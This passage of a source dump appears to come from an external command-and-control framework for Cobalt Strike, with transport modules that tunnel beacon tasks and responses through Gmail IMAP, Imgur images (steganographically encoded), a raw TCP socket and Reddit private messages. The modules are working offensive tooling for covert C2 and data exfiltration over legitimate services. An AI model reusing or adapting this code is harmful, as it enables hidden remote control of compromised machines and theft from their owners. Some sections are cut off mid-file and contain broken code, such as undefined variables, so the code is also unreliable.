id_list[0].split(): 90 | msg = c.fetch(msg_id, '(RFC822)') 91 | msg = ([x[0] for x in msg][1])[1] 92 | for part in email.message_from_string(msg).walk(): 93 | msg = part.get_payload() 94 | c.logout() 95 | return msg 96 | 97 | def retrieveData(beacon_id): 98 | c= imaplib.IMAP4_SSL(SERVER) 99 | c.login(GMAIL_USER, GMAIL_PWD) 100 | c.select("INBOX") 101 | 102 | #typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'New4You')".format(uniqueid)) 103 | while True: 104 | typ, id_list = c.search(None, '(UNSEEN SUBJECT "' + str(beacon_id) + ':Resp4You")') 105 | print id_list[0].split() 106 | if not id_list[0].split(): 107 | sleep(RETRY_TIMER) # wait for RETRY_TIME seconds before checking again 108 | c.select("INBOX") 109 | typ, id_list = c.search(None, '(UNSEEN SUBJECT "' + str(beacon_id) + ':Resp4You")') 110 | pass 111 | else: 112 | for msg_id in id_list[0].split(): 113 | msg = c.fetch(msg_id, '(RFC822)') 114 | #c.store(msg_id, '+FLAGS', '\SEEN') 115 | msg = ([x[0] for x in msg][1])[1] 116 | for part in email.message_from_string(msg).walk(): 117 | msg = part.get_payload() 118 | c.logout() 119 | return msg 120 | -------------------------------------------------------------------------------- /skeletons/transports/imgur/TRANSPORT_DEFINITIONS.md: -------------------------------------------------------------------------------- 1 | # Builder replacement mapping definitions 2 | 3 | This document lists and defines the builder definitons used for the `SkeletonHandler()` utility for documentation purposes for the framework: `cobalt_strike`. 4 | 5 | Values marked: `# * - Defined by user` will be read in from values directly defined by the user. Values not marked as such are defined by the conditions of the environment during execution of the builder logic. 6 | 7 | Generally unless noted otherwise, strings must be written in the config as `string`. In addition, unless noted otherwise, numbers are written as `1` and have their type forced in the code. 8 | 9 | For example, 10 | ```python 11 | [component] 12 | # Will be written to the file as 'bar' 13 | foo = bar 14 | # Written as: 15 | # foo = 'bar' 16 | 17 | # Will be written to the file as '1' 18 | baz = 1 19 | # Written as: 20 | # baz = '1' 21 | ``` 22 | 23 | For this reason, **IT IS CRITICAL YOU FORCE THE DESIRED TYPE OF YOUR VARIABLE**. 24 | 25 | ## Definitions 26 | ##### transports/imgur/transport_imgur.py 27 | 28 | ``` 29 | # The imgur username to authenticate with 30 | USERNAME = ```[var:::username]``` 31 | 32 | # The api client ID to authenticate with 33 | client_id = ```[var:::client_id]``` 34 | 35 | # The client secret to autehnticate with 36 | client_secret = ```[var:::client_secret]``` 37 | 38 | # The name of the album being used to transmit the stager 39 | STAGER_ALBUM_NAME = ```[var:::stager_album_name]``` 40 | 41 | # The name of album being used for sending tasks 42 | SEND_ALBUM_NAME = ```[var:::send_album_name]``` 43 | 44 | # The name of the album being used for receiving responses 45 | RECV_ALBUM_NAME = ```[var:::recv_album_name]``` 46 | 47 | # The name of the album being used to signal beacon initalization 48 | INIT_ALBUM_NAME = ```[var:::init_album_name]``` 49 | 50 | # A default value for the access token. Just put any string 51 | access_token = ```[var:::access_token]``` 52 | 53 | # A default value for the refresh token. Just put any string 54 | refresh_token = ```[var:::refresh_token]``` 55 | ``` 56 | ---- 57 | -------------------------------------------------------------------------------- /skeletons/transports/imgur/transport_imgur.py: -------------------------------------------------------------------------------- 1 | from imgurpython import ImgurClient, helpers 2 | import PIL 3 | from PIL import Image 4 | from cStringIO import StringIO 5 | import time 6 | from sys import exit 7 | import urlparse 8 | import base64 9 | import requests 10 | import zlib 11 | import utils.encoders.encoder_lsbjpg as encoder 12 | 13 | # YOU NEED TO GET A TOKEN FOR YOUR APPLICATION FIRST. 14 | # SET UP YOUR ACCOUNT. 15 | 16 | 17 | # 18 | TOKEN_LEN = 81 # Don't change this 19 | USERNAME = ```[var:::username]``` 20 | client_id = ```[var:::client_id]``` 21 | client_secret = ```[var:::client_secret]``` 22 | SEND_ALBUM_NAME = ```[var:::send_album_name]``` 23 | RECV_ALBUM_NAME = ```[var:::recv_album_name]``` 24 | access_token = ```[var:::access_token]``` 25 | refresh_token = ```[var:::refresh_token]``` 26 | INIT_ALBUM_NAME = ```[var:::init_album_name]``` 27 | # 28 | STAGER_ALBUM_NAME = ```[var:::stager_album_name]``` 29 | # 30 | 31 | # Server's transport will handle access tokens and whatnot. 32 | 33 | # client's prepTransport will have to handle token refreshes. 34 | # TODO: Client won't last more than a month without this logic. 35 | # - need to add authtoken refresh logic 36 | 37 | def resetAccount(): 38 | account_albums = client.get_account_albums(USERNAME) 39 | for album in account_albums: 40 | images = client.get_album_images(album.id) 41 | for image in images: 42 | client.delete_image(image.id) 43 | client.album_delete(album.id) 44 | 45 | def prepClientTransport(): 46 | global client 47 | client = ImgurClient(client_id, client_secret) 48 | 49 | getTokens() 50 | return 0 51 | 52 | def getTokens(): 53 | while True: 54 | try: 55 | account_albums = client.get_account_albums(USERNAME) 56 | account_albums[0] 57 | if account_albums[0].title == STAGER_ALBUM_NAME: 58 | break 59 | else: 60 | print "No new albums yet, sleeping for %dm"%(c2_block_time *60) 61 | except IndexError: 62 | print "No new albums yet, sleeping for %dm" %(c2_block_time *60) 63 | time.sleep(c2_block_time *60) 64 | 65 | x = 0 66 | for x in range(0, len(account_albums)): 67 | token_image = client.get_album_images(account_albums[x].id)[0] 68 | token_img = Image.open(StringIO(requests.get(token_image.link).content)) 69 | stego_pix = token_img.load() 70 | if stego_pix[0,0] == (1,1,1): 71 | print "Token images found!" 72 | break 73 | else: 74 | x = x + 1 75 | pass 76 | 77 | token_bytes = [] 78 | for x in range(1, token_img.size[1]): 79 | token_bytes.append(chr(stego_pix[x,x][2])) 80 | tokens = ''.join(token_bytes[0:TOKEN_LEN]).split(',') 81 | 82 | global access_token 83 | access_token = tokens[0] 84 | global refresh_token 85 | refresh_token = tokens[1] 86 | 87 | # Cleanup time! 88 | client.set_user_auth(access_token, refresh_token) 89 | resetAccount() 90 | 91 | print "Sleeping for %dm to allow server to upload stager" %(c2_block_time *60) 92 | time.sleep(c2_block_time) 93 | 94 | return 0 95 | 96 | 97 | def checkStatus(silent=True): 98 | # Checks the account status 99 | # if we discover we don't have enough credits to continue, we will sleep until our credits are reset 100 | credits = client.make_request('GET', 'credits') 101 | 102 | # Supports pseudo debug output 103 | if silent == False: 104 | print "%d credits remaining of %d for this user's ip" %(credits['UserRemaining'], credits['UserLimit']) 105 | print "%d credits remaining of %d for this client" %(credits['ClientRemaining'], credits['ClientLimit']) 106 | print "User credits reset @ " + str(time.ctime(credits['UserReset'])) 107 | 108 | # Wait for our credits to reset if we don't have enough 109 | if int(credits['UserRemaining']) < 10: 110 | print "WARNING: Not enough credits to continue making requests, waiting for credits to replenish" 111 | while time.time() <= credits['UserReset']: 112 | print "Current time: " + str(time.ctime(time.time())) 113 | print "Reset @ %s, sleeping for 5m" % (time.ctime(credits['UserReset'])) 114 | time.sleep(300) 115 | print "Credits reset!" 116 | checkStatus() 117 | return credits 118 | 119 | 120 | def sendTokens(tokens): 121 | # Sends tokens in plain text. Eventually, I'd like to get it so I can 122 | # just pass it to the encoder, but this works for a prototype 123 | 124 | img = Image.new('RGB', (4320,4320), color = 'red') 125 | pix = img.load() 126 | token_list = list(tokens) 127 | token_list = bytearray(str(token_list[0]) + "," + str(token_list[1])) 128 | for byte in token_list: 129 | for x in range(1, len(token_list) + 1): 130 | byte = token_list[x-1] 131 | # Write the byte to the blue value in the pixel 132 | pix[x,x] = (pix[x,x][0], pix[x,x][1], byte) 133 | x = x + 1 134 | pass 135 | # Insert a UPDATE_TOKENS header 136 | pix[0,0] = (1, 1, 1) 137 | # Upload image to new album 138 | fields = {} 139 | fields = { 'title': SEND_ALBUM_NAME, 'privacy': "public"} 140 | album_object = client.create_album(fields) 141 | fields.update({"id": album_object['id']}) 142 | 143 | # Upload our image to the album 144 | img_byte_array = StringIO() 145 | img.save(img_byte_array, format='PNG') 146 | 147 | image_upload_fields = {} 148 | image_upload_fields = {'image': base64.b64encode(img_byte_array.getvalue()), 'type': 'base64', 'album': album_object['id']} 149 | while True: 150 | try: 151 | y = client.make_request('POST', 'upload', image_upload_fields) 152 | except helpers.error.ImgurClientRateLimitError: 153 | print "Hit the rate limit, sleeping for 10m" 154 | time.sleep(600) 155 | continue 156 | break 157 | 158 | 159 | # I know this is a very weird looking loop, but it was to fix a very weird bug 160 | while True: 161 | account_albums = client.get_account_albums(USERNAME) 162 | try: 163 | if account_albums[0].id: 164 | for album in account_albums: 165 | if album.id == album_object['id']: 166 | print "Album still exists, waiting 60 seconds for client to delete the tokens album" 167 | time.sleep(60) 168 | continue 169 | else: 170 | break 171 | except IndexError: 172 | break 173 | 174 | # Return the token's album hash 175 | return 0 176 | 177 | 178 | def prepTransport(): 179 | global client 180 | client = ImgurClient(client_id, client_secret) 181 | 182 | # Auth to imgur 183 | authorization_url = client.get_auth_url('token') 184 | 185 | print "Go to the following URL: {0}".format(authorization_url) 186 | try: 187 | token_url = raw_input("Insert the url you were redirected to with all parameters: ") 188 | except: 189 | token_url = input("Insert the url you were redirected to with all parameters: ") 190 | 191 | parsed = urlparse.urlparse(token_url) 192 | 193 | access_token = urlparse.parse_qs(parsed.fragment)['access_token'][0] 194 | refresh_token = urlparse.parse_qs(parsed.fragment)['refresh_token'][0] 195 | client.set_user_auth(access_token, refresh_token) 196 | 197 | if client.get_email_verification_status(USERNAME) == False: 198 | print "ERROR: YOU NEED TO VERIFY YOUR EMAIL. We'll send a verification request." 199 | client.send_verification_email(USERNAME) 200 | print "Verification email sent. Exiting..." 201 | exit(1) 202 | 203 | # Sending access and refresh token to client 204 | token_list = [] 205 | token_list.append(access_token) 206 | token_list.append(refresh_token) 207 | token_album_hash = sendTokens(token_list) 208 | 209 | # Client has recieved the tokens 210 | return 0 211 | 212 | 213 | def sendData(beacon_id, data): 214 | # Transport will receiving a list of images 215 | # Application will have already encoded the data 216 | # Logic will probably be different for client, 217 | # indicating that we're going to run into issues 218 | # Here, we're expecting to recieve a list of PIL images from the encoder 219 | fields = {} 220 | fields = { 'title': (str(beacon_id) + ":" + SEND_ALBUM_NAME), 'privacy': "hidden"} 221 | album_object = client.create_album(fields) 222 | fields.update({"id": album_object['id']}) 223 | 224 | data = base64.b64encode(zlib.compress(data, 9)) 225 | data_list = [data[i:i+4319] for i in range(0, len(data), 4319)] 226 | 227 | photo_id = 1 228 | image_upload_fields = {'type': 'base64', 'album': album_object['id']} 229 | 230 | credits = checkStatus(silent=False) 231 | # TODO: Add logic to safely check if we can upload photos here 232 | # if credits['UserRemaining'] < len(data_list) or credits['ClientRemaining'] < len(data_list): 233 | 234 | print "Uploading %d images" % (len(data_list)) 235 | for chunk in data_list: 236 | photo = encoder.encode(chunk, photo_id=photo_id) 237 | image_upload_fields.update({'image': base64.b64encode(photo.getvalue())}) 238 | while True: 239 | try: 240 | request = client.make_request('POST', 'upload', image_upload_fields) 241 | except helpers.error.ImgurClientRateLimitError: 242 | print "Hit the rate limit, sleeping for 10m" 243 | time.sleep(600) 244 | continue 245 | break 246 | photo_id = photo_id + 1 247 | del photo 248 | credits = checkStatus(silent=False) 249 | # If photo_id % 50, we'll sleep for 3 minutes to not trip our rate limit 250 | # There is an upload limit of 50 images per IP address per hour. 251 | if photo_id % 40 == 0: 252 | print "Upload limit for this hour exceeded, sleeping until next hour" 253 | time.sleep(300) 254 | 255 | 256 | def retrieveData(beacon_id): 257 | # Check for new albums 258 | while True: 259 | try: 260 | account_albums = client.get_account_albums(USERNAME) 261 | account_albums[0] 262 | if account_albums[0].title == (str(beacon_id) + ":" + RECV_ALBUM_NAME): 263 | break 264 | else: 265 | print "No new albums yet, sleeping for 2m" 266 | time.sleep(120) 267 | except IndexError: 268 | print "No new albums yet, sleeping for 2m" 269 | time.sleep(120) 270 | 271 | x = 0 272 | reconstructed_data = "" 273 | data_list = [] 274 | 275 | # Iterate through each album 276 | for x in range(0, len(account_albums)): 277 | album_images = client.get_album_images(account_albums[x].id) 278 | 279 | # Iterate through each image in the album 280 | for image in album_images: 281 | curr_image_data = Image.open(StringIO(requests.get(image.link).content)) 282 | data_list.append(encoder.decode(curr_image_data)) 283 | pass 284 | 285 | # Reconstruct the data 286 | reconstructed_data = ''.join(data_list).strip('\0') 287 | 288 | # resetAccount() 289 | 290 | # Now lets unbase64 and decompress this data 291 | raw_data = zlib.decompress(base64.b64decode(reconstructed_data)) 292 | return raw_data 293 | 294 | def check_for_new_clients(): 295 | while True: 296 | try: 297 | account_albums = client.get_account_albums(USERNAME) 298 | account_albums[0] 299 | if account_albums[0].title == INIT_ALBUM_NAME: 300 | break 301 | else: 302 | return None 303 | except IndexError: 304 | return None 305 | 306 | 307 | 308 | def send_server_notification(notification_data_frame): 309 | fields = {} 310 | fields = {'title': (INIT_ALBUM_NAME), 'privacy': "hidden"} 311 | album_object = client.create_album(fields) 312 | fields.update({"id": album_object['id']}) 313 | 314 | data = base64.b64encode(zlib.compress(data, 9)) 315 | data_list = [data[i:i+4319] for i in range(0, len(data), 4319)] 316 | 317 | photo_id = 1 318 | image_upload_fields = {'type': 'base64', 'album': album_object['id']} 319 | 320 | credits = checkStatus(silent=False) 321 | # TODO: Add logic to safely check if we can upload photos here 322 | # if credits['UserRemaining'] < len(data_list) or credits['ClientRemaining'] < len(data_list): 323 | 324 | print "Uploading %d images" % (len(data_list)) 325 | 326 | photo = encoder.encode(chunk, photo_id=photo_id) 327 | image_upload_fields.update({'image': base64.b64encode(photo.getvalue())}) 328 | while True: 329 | try: 330 | request = client.make_request('POST', 'upload', image_upload_fields) 331 | except helpers.error.ImgurClientRateLimitError: 332 | print "Hit the rate limit, sleeping for 10m" 333 | time.sleep(600) 334 | continue 335 | break 336 | del photo 337 | credits = checkStatus(silent=False) 338 | -------------------------------------------------------------------------------- /skeletons/transports/raw_tcp_socket/transport_raw_tcp_socket.py: -------------------------------------------------------------------------------- 1 | # A transport module for Und3rf10w's implementation of the external_c2 spec of cobalt strike that utilizes a simple raw TCP socket as a covert channel. 2 | # Not exactly covert... 3 | 4 | import socket 5 | import sys 6 | import struct 7 | 8 | # GHETTO CONFIG, should be read in from a master configuration file... 9 | HOST = '0.0.0.0' 10 | PORT = 8081 11 | 12 | def prepTransport(): 13 | """ 14 | This functions prepares the transport module for use 15 | """ 16 | # Create a socket 17 | global transSock 18 | global connSock 19 | transSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 20 | try: 21 | print "Attempting to bind to " + str(HOST) + ":" + str(PORT) 22 | transSock.bind((HOST,PORT)) 23 | except Exception as e: 24 | print "ERROR: %s" % (e) 25 | 26 | # Start listening 27 | transSock.listen(1) 28 | print "Socket now listening, waiting for connection from client..." 29 | 30 | # Wait to accept a connection from the client: 31 | connSock, addr = transSock.accept() 32 | # 'conn' socket object is the connection to the client, send data through that 33 | print 'Connected with client @ ' + addr[0] + ":" + str(addr[1]) 34 | 35 | return connSock 36 | 37 | def sendData(client_id, data): 38 | """ 39 | This function sends 'data' via the covert channel 'connSock' 40 | """ 41 | # Literally does nothing 42 | client_id = client_id 43 | 44 | slen = struct.pack(' 31 | 32 | 33 | def prepTransport(): 34 | # Auth as a script app 35 | global reddit # DEBUG: Not sure if needed 36 | global TASK_ID 37 | TASK_ID = "0" 38 | reddit = praw.Reddit(client_id=CLIENT_ID, 39 | client_secret=CLIENT_SECRET, 40 | password=PASSWORD, 41 | user_agent=USER_AGENT, 42 | username=USERNAME) 43 | # Debug, verify that we are connected 44 | print "We have successfully authenticated: %s" %(reddit) 45 | return reddit 46 | 47 | def sendData(beacon_id, data): 48 | if len(data) > 10000: 49 | data_list = [data[i:i+10000] for i in range(0, len(data), 10000)] 50 | sent_counter = 1 51 | for message in data_list: 52 | cur_subject = SEND_NAME + ":" + beacon_id + (" | " + str(sent_counter) + "/" + str(len(data_list))) 53 | reddit.redditor(USERNAME).message(cur_subject, message) 54 | sent_counter += 1 55 | return 0 56 | else: 57 | reddit.redditor(USERNAME).message(SEND_NAME, data) 58 | return 0 59 | 60 | 61 | def retrieveData(beacon_id): 62 | counter_pattern = re.compile("^.* \| [0-9]+/[0-9]+$") 63 | total_count = re.compile("^.*/[0-9]+$") 64 | current_target = 1 65 | task = "" 66 | # First, we'll see if there's a new message, if it has a counter, 67 | # we'll take it into account, and loop through the messages to find 68 | # our first one. 69 | while True: 70 | for message in reddit.inbox.messages(limit=1): 71 | if message.id <= TASK_ID: 72 | sleep(5) 73 | pass 74 | 75 | if counter_pattern.match(message.subject) and (RECV_NAME in message.subject): 76 | # This is incredibly dirty, I apologize in advance. Basically, 77 | # we get the count, find the first message, 78 | # set it to the TASK_ID, and start to compile the full task 79 | counter_target = message.subject.split("/")[1] 80 | 81 | if message.subject == (RECV_NAME + ":" + beacon_id + " | 1/" + str(counter_target)): 82 | global TASK_ID 83 | TASK_ID = message.id 84 | task += message.body 85 | current_target += 1 86 | sleep(1) 87 | pass 88 | 89 | elif int(current_target) > int(counter_target): 90 | global TASK_ID 91 | TASK_ID = message.id 92 | return task 93 | 94 | elif message.subject != (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 95 | # We're getting these out of order, time for us to find the next message, and loop through it 96 | while True: 97 | msgiter = iter(reddit.inbox.messages()) 98 | for submessage in msgiter: 99 | if int(current_target) > int(counter_target): 100 | global TASK_ID 101 | TASK_ID = message.id 102 | return task 103 | if submessage.subject == (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 104 | current_target += 1 105 | task += submessage.body 106 | # sleep(0.1) 107 | break 108 | if submessage.subject != (RECV_NAME + " | " + str(current_target) + "/" + str(counter_target)): 109 | # sleep(0.1) 110 | continue 111 | else: 112 | pass 113 | 114 | # Got our new task 115 | elif message.subject == RECV_NAME: 116 | task = message.body 117 | global TASK_ID 118 | TASK_ID = message.id 119 | return task 120 | 121 | else: 122 | # message.id isn't right, but we don't have a task yet 123 | sleep(5) 124 | pass 125 | 126 | def check_for_new_clients(): 127 | for message in reddit.inbox.messages(limit=1): 128 | if message.subject == INIT_NAME: 129 | task = message.body 130 | return task 131 | # We went through all the task and found none with an INIT_NAME 132 | return None 133 | 134 | 135 | 136 | def send_server_notification(notification_data_frame): 137 | reddit.redditor(USERNAME).message(INIT_NAME, notification_data_frame) 138 | --------------------------------------------------------------------------------